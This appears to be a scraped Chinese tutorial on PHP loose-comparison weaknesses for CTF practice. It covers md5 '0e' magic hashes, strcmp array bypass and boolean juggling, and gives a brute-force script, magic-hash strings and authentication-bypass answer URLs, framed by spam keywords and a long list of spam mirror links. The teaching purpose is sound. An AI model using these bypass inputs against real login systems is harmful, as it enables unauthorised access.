怎样去查网站备案号,网站seo如何优化,韶关营销型网站建设,网站维护的方式包括免责声明#xff1a;本文章仅用于交流学习#xff0c;因文章内容而产生的任何违法未授权行为#xff0c;与文章作者无关#xff01;#xff01;#xff01; 附#xff1a;完整笔记目录~ ps#xff1a;本人小白#xff0c;笔记均在个人理解基础上整理#xff0c;…免责声明本文章仅用于交流学习因文章内容而产生的任何违法未授权行为与文章作者无关 附完整笔记目录~ ps本人小白笔记均在个人理解基础上整理若有错误欢迎指正
1.3 松散比较PHP 引子本章主要介绍一些由PHP自身语言特性可能产生的脆弱性该内容往往被应用于PHP CTF入门题中但在PHP Web开发时也可能被使用。 是php中的比较运算符用于判断 左右两边的值是否相等。若两边的值类型不同则会优先将两边的值类型转换为同一类型后再进行比较也称这种比较方式为松散比较。 这其中使用最多也是最容易产生误解的就是数字、数字字符串、字符串之间的比较。这里给出官方规则 If both operands are numeric strings, or one operand is a number and the other one is a numeric string, then the comparison is done numerically. These rules also apply to the switch statement. 简单来说就是当数字与数字字符串或者数字字符串与数字字符串之间进行比较时都会被转换为数字后再比较这些规则同样适用于switch。有没有感觉官方给出的内容有些含糊呢这里举几个例子 // 在松散比较中以下格式的字符串会被转换为什么数字呢如
sjjjer
1999sj
1999e9r
1999.9er我们分别来测试一下 ?php
$data1 sjjjer;
$data2 0;
echo $data1 $data2 ? true : false;
// true -- php版本为7.3
// false -- php版本为8.2
// 从官方给出的解释来看在php8版本前字符串默认被转换为数字0参与比较8版本后被修复$data1 1999sj19;
$data2 1999;
echo $data1 $data2 ? true : false;
// true
// 可以看到当字符串中同时出现字母与数字时且数字在前
// 则在比较时会默认将字符串转换为出现第一个字母前的数字$data1 1999e9r;
$data2 1999;
echo $data1 $data2 ? true : false;
// false
// 为什么此时松散比较结果为false呢
// 是由于1999e9在转换为数字参与比较时其实际值为1999 * 10^9e是科学计数法的标识。
// So 我们可以修改1999的值为1999000000000再尝试比较
$data3 1999000000000;
echo $data3 $data1 ? true : false;
// true$data1 1999.9er;
$data2 1999;
echo $data1 $data2 ? true : false;
// false
// 由于在比较时会将字符串转换为出现第一个字母前的数字
// 也就是 1999.9er -- 1999.9 浮点数
// 当我们修改1999为1999.9时再参与比较
$data3 1999.9;
echo $data1 $data3 ? true : false;
// trueswitch() 上述所提松散比较时的类型转换规则同样适用于switch分支结构也就说明php中switch结构在进行数据比较时也采用松散比较这里来测试一下。 demo ?php
echo 请输入数据;
$data1 fgets(STDIN);
// 由于fgets()从键盘获取到的数据默认携带 \n
// 因此需使用trim()去除
$data1 trim($data1);
switch ($data1) {case 0:echo 0;break;case 19:echo 19;break;case sj:echo sj;break;default:echo 数据未成功匹配;
}// fgets()为获取用户所输入数据默认返回值类型为字符串
// 也就是说data1的数据类型为字符串
// next 进入switch分支结构
// 该分支结构实质为字符串与数字、字符串与字符串的松散比较/*请输入数据sj -- php版本7.3
0
请输入数据19er
19
请输入数据sj -- php版本8.2
sj*/md5() 已知md5加密后会生成固定32位字符串。而在php的身份验证中常常会存在这样的逻辑获取用户输入密码并将其转换为md5值随后再与数据库所存储用户密码比较数据库中用户密码往往加密存储若相等则成功验证身份。 若开发者所使用比较运算符为 也就是本文所提松散比较则可能会出现以下情况 用户密码经md5加密后的结果为0e656002536496242128899000718690。由上文可知 e 为科学计数法的标识因此在php中0e656002536496242128899000718690 为一串数字字符串。且使用 进行松散比较。由php松散比较规则可知当数字串与数字串比较时会被转换为数字进行比较。而0e后无论跟什么其结果均为0因此仅需再寻找另一个字符串使其满足经md5加密后的结果为0e开头的数字字符串就能实现即使所输入密码与用户原码密码不一致但经md5加密后再进行松散比较返回结果为true。 我们来验证一下 ?php
echo 请输入您的密码;
$input trim(fgets(STDIN));
$password md5(000dSb96);
if (md5($input) $password) {echo 恭喜您密码输入正确;
} else {echo Sorry您的密码有误;
}// 请输入您的密码001st0X5
// 恭喜您密码输入正确若想获取更多满足要求的字符串可以写个脚本慢慢跑这里给出我自己的脚本 import hashlib
import itertools
import string# 定义函数生成所有可能的8-16位字符串
def generate_strings():# 所有可用的字符数字和字母chars string.digits string.ascii_lowercase string.ascii_uppercase# 生成长度从8到16的字符串for length in range(8, 17):# 生成当前长度的所有可能字符串for s in itertools.product(chars, repeatlength):yield .join(s)# 定义函数检查MD5值是否以0e开头且后续为数字
def check_md5(md5_hash):# 判断MD5值是否以0e开头且后续部分全为数字return md5_hash.startswith(0e) and md5_hash[2:].isdigit()# 主程序
def main():# 打开result.txt文件以写入结果with open(result.txt, w) as result_file:# 符合条件的字符串数量found_count 0# 遍历生成的所有字符串for s in generate_strings():# 对字符串进行MD5加密md5_hash hashlib.md5(s.encode(utf-8)).hexdigest()# 检查MD5是否满足条件if check_md5(md5_hash):# 打印符合条件的字符串和MD5值print(f{s} {md5_hash})# 写入到文件中result_file.write(f{s} {md5_hash}\n)found_count 1# 如果已经找到了10个符合条件的字符串停止执行if found_count 10:breakif __name__ __main__:main()10分钟就跑出来了五条看来还有很大的优化空间。。。 # 结果展示
000dSb96 0e656002536496242128899000718690
001st0X5 0e632311920444249596217934156166
001uTksg 0e012344733002178183175029976663
001yLWsp 0e561475551818519587284167859133
001CKN1u 0e364973363767512736620399322212
0029F2eL 0e819654840882947331243228254063
002zDdF8 0e693440086514416381258215413583
0031LEiY 0e050990879989909849271876008654
003kjZ6a 0e813458376037199230741560480845
003mHOrg 0e186417107900720544959665557875要是懒得用脚本跑也可以参考https://blog.csdn.net/baidu_41871794/article/details/83750615这篇博文作者也给了一些例子。 strcmp() php中的字符串比较函数strcmp($str1, $str2)会逐个字符比较字符串str1str2的ASCII值若str1 str2 则返回值0若str1 str2 则返回值0若 str1 str2 返回值为0。 而在php 8版本之前若所比较值类型为非字符串时此时strcmp()函数报错且return 0也就是说虽然strcmp()所接收参数不为字符串类型但最终仍判断其字符串值相同。 demo ?php
$str1 sjjjer;
$str2 $_GET[str];
if (strcmp($str1, $str2) 0) {echo 两字符串相等;
} else {echo 两字符串不等;
}// url: http://192.168.2.106:81/simplectf/SimplectfDemo4.php?str[]sj
// Warning: strcmp() expects parameter 2 to be string, array given in SimplectfDemo4.php on line 4
// 两字符串相等可以看到虽然报错但仍执行了两字符串相等的逻辑。测试版本为php 7.3.4php 8版本后修复。 in_array() array_search() in_array()用于查找指定值是否在数组中返回truefalse。array_search()用于查找指定值的键索引若找到返回索引值若未找到返回false。同样的这两个数组查找函数若未指定其第三个值为true默认为false则采用松散比较。 demo ?php
$arr [0, 19, sj];
var_dump(in_array(sjjjer, $arr));
var_dump(array_search(sj, $arr));
var_dump(array_search(sj, $arr, true));// bool(true)
// int(0)
// int(2)bool比较 上文案例所产生的有趣结果主要基于数字、数字字符串、字符串之间的松散比较规则而成。 而接下来则对bool值与字符串的比较规则做一介绍 ture 与 字符串比较结果为true这里的字符串指数字字符串“19”字符串(“sj”)。而false 与 字符串的比较结果为false这里的字符串类型同true。true 与 空字符串比较结果为false这里的空字符串指“”“0”。相反的false 与 空字符串的比较结果为true。 注这里的比较均为 若想了解其余类型数据的比较结构可参考官方比较表https://www.php.net/manual/en/types.comparisons.php demo ?php
// 这里以json_decode() 与 unserialize()函数为例
$str {username: true, password: true};
$data json_decode($str);
var_dump($data-username);
if ($data-username admin $data-password sjjjer) {echo 身份认证成功;
} else {echo 身份认证失败;
}// bool(true)
// 身份认证成功
// true与字符串松散比较结果为true。// 正确值为$str a:2:{s:8:username;s:5:admin;s:8:password;s:6:sjjjer;};
$str a:2:{s:8:username;b:1;s:8:password;b:1;};
// 其中b表示bool类型1为true
$data unserialize($str);
if ($data[username] admin $data[password] sjjjer) {echo 身份认证成功;
} else {echo 身份认证失败;
}// 身份认证成功以上内容均为开发者采用php松散比较时可能产生的结果那有没有更为严谨的比较方式呢采用比较在比较时会先比较两边值类型再比较值若两边值类型不同也会返回false也称这种比较方式为严格比较。 demo ?php
$data1 sj;
$data2 0;
var_dump($data1 $data2);// bool(false)实验 好了你现在已经大致了解php的松散比较规则以及使用松散比较可能会产生的问题了。接下来做几道ctf入门题吧 第一题 ?php
$num $_GET[num];
// 判断$num的值是否为数字或数字字符串
if (!is_numeric($num)) {echo $num;if ($num 1) {echo flag!;}
}答案 http://192.168.2.106:81/simplectf/SimplectfDemo8.php?num1sj第二题 ?php
$md51 md5(QNKCDZO);
$a $_GET[a];
$md52 md5($a);
// 判断$a是否有值且值不为NULL
if (isset($a)) {if ($a ! QNKCDZO $md51 $md52) {echo flag;} else {echo false!!!;}
} else {echo please input a;
}答案 http://192.168.2.106:81/simplectf/SimplectfDemo9.php?a000dSb96至此本章内容结束 文章转载自: http://www.morning.yckwt.cn.gov.cn.yckwt.cn http://www.morning.nzmw.cn.gov.cn.nzmw.cn http://www.morning.smwlr.cn.gov.cn.smwlr.cn http://www.morning.zwzlf.cn.gov.cn.zwzlf.cn http://www.morning.pbksb.cn.gov.cn.pbksb.cn http://www.morning.reababy.com.gov.cn.reababy.com http://www.morning.rmqlf.cn.gov.cn.rmqlf.cn http://www.morning.tralution.cn.gov.cn.tralution.cn http://www.morning.jbhhj.cn.gov.cn.jbhhj.cn http://www.morning.jqswf.cn.gov.cn.jqswf.cn http://www.morning.crrmg.cn.gov.cn.crrmg.cn http://www.morning.gppqf.cn.gov.cn.gppqf.cn http://www.morning.rjkfj.cn.gov.cn.rjkfj.cn http://www.morning.mkpqr.cn.gov.cn.mkpqr.cn http://www.morning.gjmll.cn.gov.cn.gjmll.cn http://www.morning.pslzp.cn.gov.cn.pslzp.cn http://www.morning.hwnnh.cn.gov.cn.hwnnh.cn http://www.morning.rykmz.cn.gov.cn.rykmz.cn http://www.morning.tkflb.cn.gov.cn.tkflb.cn http://www.morning.kqzt.cn.gov.cn.kqzt.cn http://www.morning.wgzzj.cn.gov.cn.wgzzj.cn http://www.morning.lqynj.cn.gov.cn.lqynj.cn http://www.morning.nywrm.cn.gov.cn.nywrm.cn http://www.morning.jtnph.cn.gov.cn.jtnph.cn http://www.morning.liyixun.com.gov.cn.liyixun.com http://www.morning.mxgpp.cn.gov.cn.mxgpp.cn http://www.morning.ylxgw.cn.gov.cn.ylxgw.cn http://www.morning.yixingshengya.com.gov.cn.yixingshengya.com http://www.morning.dfojgo.cn.gov.cn.dfojgo.cn http://www.morning.pxtgf.cn.gov.cn.pxtgf.cn http://www.morning.lrzst.cn.gov.cn.lrzst.cn http://www.morning.gryzk.cn.gov.cn.gryzk.cn http://www.morning.xwgbr.cn.gov.cn.xwgbr.cn http://www.morning.gnbfj.cn.gov.cn.gnbfj.cn http://www.morning.rhwty.cn.gov.cn.rhwty.cn http://www.morning.qjngk.cn.gov.cn.qjngk.cn http://www.morning.kpwdt.cn.gov.cn.kpwdt.cn http://www.morning.lfxcj.cn.gov.cn.lfxcj.cn http://www.morning.madamli.com.gov.cn.madamli.com http://www.morning.qnxtz.cn.gov.cn.qnxtz.cn http://www.morning.pcgrq.cn.gov.cn.pcgrq.cn http://www.morning.qmbtn.cn.gov.cn.qmbtn.cn http://www.morning.cbmqq.cn.gov.cn.cbmqq.cn http://www.morning.fpkdd.cn.gov.cn.fpkdd.cn http://www.morning.kwcnf.cn.gov.cn.kwcnf.cn http://www.morning.kbyp.cn.gov.cn.kbyp.cn http://www.morning.dqcpm.cn.gov.cn.dqcpm.cn http://www.morning.wgxtz.cn.gov.cn.wgxtz.cn http://www.morning.mbfj.cn.gov.cn.mbfj.cn http://www.morning.ymfzd.cn.gov.cn.ymfzd.cn http://www.morning.xnqwk.cn.gov.cn.xnqwk.cn http://www.morning.wptrm.cn.gov.cn.wptrm.cn http://www.morning.pqypt.cn.gov.cn.pqypt.cn http://www.morning.mxmtt.cn.gov.cn.mxmtt.cn http://www.morning.ktnt.cn.gov.cn.ktnt.cn http://www.morning.qxycf.cn.gov.cn.qxycf.cn http://www.morning.jybj.cn.gov.cn.jybj.cn http://www.morning.jqmmf.cn.gov.cn.jqmmf.cn http://www.morning.sgqw.cn.gov.cn.sgqw.cn http://www.morning.rmkyb.cn.gov.cn.rmkyb.cn http://www.morning.gtxrw.cn.gov.cn.gtxrw.cn http://www.morning.wpydf.cn.gov.cn.wpydf.cn http://www.morning.qzpkr.cn.gov.cn.qzpkr.cn http://www.morning.lrmts.cn.gov.cn.lrmts.cn http://www.morning.kryxk.cn.gov.cn.kryxk.cn http://www.morning.gtnyq.cn.gov.cn.gtnyq.cn http://www.morning.yrpg.cn.gov.cn.yrpg.cn http://www.morning.fkcjs.cn.gov.cn.fkcjs.cn http://www.morning.dwrjj.cn.gov.cn.dwrjj.cn http://www.morning.pqhgn.cn.gov.cn.pqhgn.cn http://www.morning.sjli222.cn.gov.cn.sjli222.cn http://www.morning.gpxbc.cn.gov.cn.gpxbc.cn http://www.morning.yrhd.cn.gov.cn.yrhd.cn http://www.morning.yzzfl.cn.gov.cn.yzzfl.cn http://www.morning.kqkmx.cn.gov.cn.kqkmx.cn http://www.morning.qcztm.cn.gov.cn.qcztm.cn http://www.morning.dpbdq.cn.gov.cn.dpbdq.cn http://www.morning.rrjzp.cn.gov.cn.rrjzp.cn http://www.morning.trjdr.cn.gov.cn.trjdr.cn http://www.morning.fgsqz.cn.gov.cn.fgsqz.cn